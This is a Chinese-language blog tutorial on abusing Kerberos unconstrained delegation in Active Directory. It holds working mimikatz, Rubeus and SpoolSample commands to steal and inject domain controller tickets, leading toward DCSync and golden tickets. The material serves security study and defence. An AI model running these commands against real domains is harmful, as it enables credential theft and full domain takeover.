【详解委派攻击】1.非约束性委派

简介: 当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)

一、非约束性委派的原理:

简单来讲:

当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)

具体认证流程:

1、用户机器向KDC请求可转发的TGT1

2、KDC在消息中给返回TGT1(访问服务1使用)

3、用户通过TGT1请求转发TGT2(访问服务2使用)

4、KDC返回消息TGT2

5、用户使用TGT1向KDC申请访问服务1

6、TGS 返回 ST 给用户

7、用户发送AP_REQ请求服务1,包含了TGT1、TGT2、TGT2的sessionkey

8、服务1使用用户发送过来的TGT2去请求KDC,并以用户的身份请求服务2的ST

9、KDC返回服务2的ST给服务1(这里ST将来源请求标记为用户机器,而不是服务1)

10、服务1以用户的名义请求服务2

11、服务2回应服务1请求

12、服务1回应用户机器请求

13、服务1能够向KDC请求其他服务ST

14、KDC返回其他服务ST

15、服务1以用户名义请求其他服务

16、其他服务回应服务1

总之一句话就是:将域内用户的权限委派给开启了非约束委派的服务,服务账号就能以该域内用户的身份在域内愉快的"玩耍"了,而且重要的是该域内用户不能被设置了"敏感用户,不能被委派"的属性,不过现在非约束性委派在企业内基本很少用


二、非约束性委派的配置和发现:

1、创建非约束委派账号:

# 给test2注册sqn服务,test2用户要存在,注册完之后test2就是服务账户了


setspn -U -A MSSQLSvc/mssql.hack.com:1433 test2

开启服务账号test2的委派设置:


设置机器账号为委派:


注意:只有服务账号和主机账号能设置委派

当设置成功后,账号的userAccountControl属性会包含TRUSTED_FOR_DELEGATION


2、发现域内非约束委派账号:

①利用ldapsearch

# 非约束委派用户


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"


# 非约束委派机器


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"

域控默认开启非约束委派


②利用Adfind

# 非约束委派用户


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


# 非约束委派机器


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


③利用poweview(powersploit下的)

# 非约束委派用户


powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain hack.com | select name"


# 非约束委派机器


powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetComputer -Unconstrained -Domain hack.com | select samaccountname"


④倾璇师傅的

# 非约束委派机器


./goDomain -username 域名\\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-unconstrained-delegation-computers


三、非约束性委派的利用:

1、手动触发(实战中比较鸡肋,需要管理员主动去连接服务):

①先清除票据


mimikatz "privilege::debug" "kerberos::purge" "exit"


②模拟管理员访问到服务机器上(开启了非约束委派),那么此时管理员的TGT就会留在服务机器上,就可以进行利用了


ps> Enter-PSSession -ComputerName 服务机器名


③使用mimikatz导出票据


mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

可以看到有Adminitrator字样的就是域管的TGT


④注入票据


mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"


⑤访问域控


dir \\域控机器名\c$

没注入之前是访问失败的,注入成功之后就可以访问域控了


2、配合Spooler打印机服务(可以对指定主机进行强制触发,需要服务主机开启了非约束委派):

spooler服务是默认开启的,这里我利用cme查询一下:


./cme smb 域控ip -M spooler


①本地触发

1、rubeus开启监听Event ID为4624事件,截取域控的TGT


Rubeus.exe monitor /interval:1 /filteruser:域控主机名$

需要管理员权限运行


2、向域控的Spooler服务发送请求,强制其访问非约束委派机器进行身份验证


spool_sample_windows_x86.exe 域控主机名 非约束委派机器名

切记:一定要使用普通管理员的权限(不用绕过UAC)来执行spoolsample.exe命令,只有这样才能导出域控主机账户的tgt


然后就可以监听到base编码的tgt


3、注入票据,rubeus可以直接将base64的tgt进行注入:


Rubeus.exe ptt /ticket:base64编码的TGT


还可以使用powershell对base64编码的tgt转为票据格式:


[IO.File]::WriteAllBytes(".\xxx.kirbi", [Convert]::FromBase64String("base64编码的tgt"))

可以对此票据使用mimikatz进行导入


或者使用mimikatz直接导出票据:


mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

可以看到有导出了来自域控PANDA的票据


再注入票据:


mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"

注入票据之后的操作就多了,可以访问利用dcsync导出域内hash、获得krbgt的hash制作黄金票据等


②远程触发

需要条件:拿到内网中一台linux主机权限、非约束委派的服务hash、一个域内用户账号密码

参考如下文章进行利用:

https://mp.weixin.qq.com/s/aM2k01N6_H5FOxoEyj39LA

https://blog.csdn.net/qq_43645782/article/details/118762916

https://mp.weixin.qq.com/s/3woYDMdqqldLDWiq3dsXnw


目录
相关文章
|
2月前
|
存储 数据可视化 JavaScript
强!54K+ star!一款解放双手,可视化自动化神器,支持400个节点!!
n8n是一款开源可视化工作流自动化工具,支持超400种节点,涵盖主流应用与服务。通过拖拽节点、连接流程,用户可轻松构建复杂自动化任务,适用于个人与企业场景。其强大脚本支持、自定义扩展及企业级功能,助力高效流程管理,提升生产力。
274 43
|
SQL 存储 JSON
AlaSQL.js:用SQL解锁JavaScript数据操作的魔法
AlaSQL.js:用SQL解锁JavaScript数据操作的魔法
244 1
|
9月前
|
设计模式 监控 Java
分布式系统架构4:容错设计模式
这是小卷对分布式系统架构学习的第4篇文章,重点介绍了三种常见的容错设计模式:断路器模式、舱壁隔离模式和重试模式。断路器模式防止服务故障蔓延,舱壁隔离模式通过资源隔离避免全局影响,重试模式提升短期故障下的调用成功率。文章还对比了这些模式的优缺点及适用场景,并解释了服务熔断与服务降级的区别。尽管技术文章阅读量不高,但小卷坚持每日更新以促进个人成长。
198 12
|
11月前
|
人工智能 自动驾驶 物联网
探索未来:2024年的十大技术趋势
【10月更文挑战第3天】探索未来:2024年的十大技术趋势
1320 0
'webpack-dev-server' 不是内部或外部命令,也不是可运行 的程序 或批处理文件。
'webpack-dev-server' 不是内部或外部命令,也不是可运行 的程序 或批处理文件。
372 0
|
Shell 网络安全 Windows
WebSell管理工具--中国蚁剑安装教程以及初始化
WebSell管理工具--中国蚁剑安装教程以及初始化
1852 0
|
缓存 安全 网络安全
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
216 0
|
SQL 关系型数据库 MySQL
flyway在Windows下安装及基本使用
flyway在Windows下安装及基本使用
579 0
flyway在Windows下安装及基本使用